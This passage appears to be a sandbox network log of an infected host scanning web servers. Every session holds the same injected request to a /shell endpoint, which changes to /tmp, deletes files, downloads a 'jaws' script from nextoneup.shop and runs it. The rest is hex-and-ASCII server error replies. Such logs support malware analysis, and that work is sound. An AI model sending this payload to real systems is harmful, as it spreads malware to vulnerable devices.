74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - File or directory not found.</h2> <h3>The resource you are looking for might have been removed, had its nam
Apr 14, 2024 04:00:40.938699961 CEST	94	IN	Data Raw: 65 20 63 68 61 6e 67 65 64 2c 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 68 33 3e 0d 0a 20 3c 2f 66 69 65 6c 64 73 65 74 3e 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 Data Ascii: e changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1336	192.168.2.23	49820	206.189.29.16	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:40.640471935 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:40.955862999 CEST	205	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:00:40 GMT Content-Type: text/html Content-Length: 342 Connection: keep-alive Vary: Accept-Encoding ETag: "660bd485-156"
Apr 14, 2024 04:00:40.955899000 CEST	354	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 69 66 72 61 6d 65 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 6c 6f 75 64 77 61 79 73 2d 73 74 61 74 69 63 2d 63 6f 6e 74 65 6e 74 2e 73 33 2e 75 73 2d 65 61 73 74 2d Data Ascii: <!DOCTYPE html><html> <iframe src="https://cloudways-static-content.s3.us-east-1.amazonaws.com/error_page/maintenance-domain-mapping.html" frameborder="0" style="overflow:hidden;overflow-x:hidden;overflow-y:hidden;height:100%;width:100%;pos

Session ID	Source IP	Source Port	Destination IP	Destination Port
1337	192.168.2.23	60488	80.154.12.58	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:40.644843102 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:41.019510031 CEST	444	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 14 Apr 2024 02:00:40 GMT Server: Apache/2.2.22 (Debian) X-Powered-By: PHP/5.4.45-1~dotdeb+7.1 Set-Cookie: fe_typo_user=da49d1babe643b53bf67261d3cfd9d68; path=/ Location: https://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Vary: Accept-Encoding Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html

Session ID	Source IP	Source Port	Destination IP	Destination Port
1338	192.168.2.23	55166	45.207.127.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:40.653837919 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:40.982183933 CEST	457	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.14.2 Date: Sun, 14 Apr 2024 02:00:18 GMT Content-Type: text/html Content-Length: 185 Connection: keep-alive Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body bgcolor="white"><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.14.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1339	192.168.2.23	40296	134.84.68.241	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:40.854729891 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:42.021977901 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:43.397809982 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:46.149405003 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:51.780627012 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:02.787087917 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:25.055953979 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1340	192.168.2.23	36108	133.242.22.196	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:40.930177927 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:41.216917992 CEST	474	IN	HTTP/1.1 403 Forbidden Date: Sun, 14 Apr 2024 02:00:41 GMT Server: Apache/2.2.15 (CentOS) Content-Length: 282 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 2f 73 68 65 6c 6c 0a 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 31 35 20 28 43 65 6e 74 4f 53 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access /shellon this server.</p><hr><address>Apache/2.2.15 (CentOS) Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1341	192.168.2.23	53822	115.231.222.120	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:40.973731041 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:41.296775103 CEST	449	IN	HTTP/1.1 403 Forbidden Server: Tengine Date: Sun, 14 Apr 2024 02:00:41 GMT Content-Type: text/html Content-Length: 238 Connection: keep-alive Timing-Allow-Origin: * EagleId: 7b9d94a117130600411383969e Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0d 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 55 52 4c 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>403 Forbidden</h1><p>You don't have permission to access the URL on this server.<hr/>Powered by Tengine</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1342	192.168.2.23	49380	81.230.177.131	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:41.008268118 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:41.328208923 CEST	321	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:00:41 GMT Server: Boa/0.94.14rc21 Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=ISO-8859-1 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>404 Not Found</H1>The requested URL /shell was not found on this server.</BODY></HTML>
Apr 14, 2024 04:00:44.329952955 CEST	321	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:00:41 GMT Server: Boa/0.94.14rc21 Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=ISO-8859-1 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>404 Not Found</H1>The requested URL /shell was not found on this server.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1343	192.168.2.23	53838	115.231.222.120	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:41.237375021 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:41.548593998 CEST	449	IN	HTTP/1.1 403 Forbidden Server: Tengine Date: Sun, 14 Apr 2024 02:00:41 GMT Content-Type: text/html Content-Length: 238 Connection: keep-alive Timing-Allow-Origin: * EagleId: 7b9d94af17130600413995175e Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0d 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 55 52 4c 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>403 Forbidden</h1><p>You don't have permission to access the URL on this server.<hr/>Powered by Tengine</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1344	192.168.2.23	50640	18.204.18.108	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:41.778958082 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:42.034214020 CEST	538	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:00:41 GMT Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29 Content-Length: 296 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 33 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 31 2e 31 2e 31 6e 20 50 48 50 2f 37 2e 34 2e 32 39 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29 Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1345	192.168.2.23	33872	23.198.45.9	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:41.858843088 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:42.173454046 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Sun, 14 Apr 2024 02:00:42 GMT Date: Sun, 14 Apr 2024 02:00:42 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 38 36 35 38 64 36 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 34 32 26 23 34 36 3b 32 37 61 34 61 62 32 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 38 36 35 38 64 36 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 34 32 26 23 34 36 3b 32 37 61 34 61 62 32 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.8658d617.1713060042.27a4ab2<P>https://errors.edgesuite.net/9.8658d617.1713060042.27a4ab2</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1346	192.168.2.23	45474	85.195.238.11	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:41.863765001 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:42.182799101 CEST	258	IN	HTTP/1.1 301 Moved Permanently Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Date: Sun, 14 Apr 2024 02:00:42 GMT Content-Length: 17 Content-Type: text/plain; charset=utf-8 Data Raw: 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 Data Ascii: Moved Permanently

Session ID	Source IP	Source Port	Destination IP	Destination Port
1347	192.168.2.23	57430	2.20.210.57	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:42.115017891 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:42.458973885 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Sun, 14 Apr 2024 02:00:42 GMT Date: Sun, 14 Apr 2024 02:00:42 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 33 36 31 36 31 35 30 32 26 23 34 36 3b 31 37 31 33 30 36 30 30 34 32 26 23 34 36 3b 61 33 37 35 30 38 38 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 33 36 31 36 31 35 30 32 26 23 34 36 3b 31 37 31 33 30 36 30 30 34 32 26 23 34 36 3b 61 33 37 35 30 38 38 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.36161502.1713060042.a375088<P>https://errors.edgesuite.net/9.36161502.1713060042.a375088</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1348	192.168.2.23	55290	45.207.127.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:42.181961060 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:42.505079985 CEST	457	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.14.2 Date: Sun, 14 Apr 2024 02:00:19 GMT Content-Type: text/html Content-Length: 185 Connection: keep-alive Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body bgcolor="white"><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.14.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1349	192.168.2.23	50844	79.111.156.24	443

Timestamp	Bytes transferred	Direction	Data
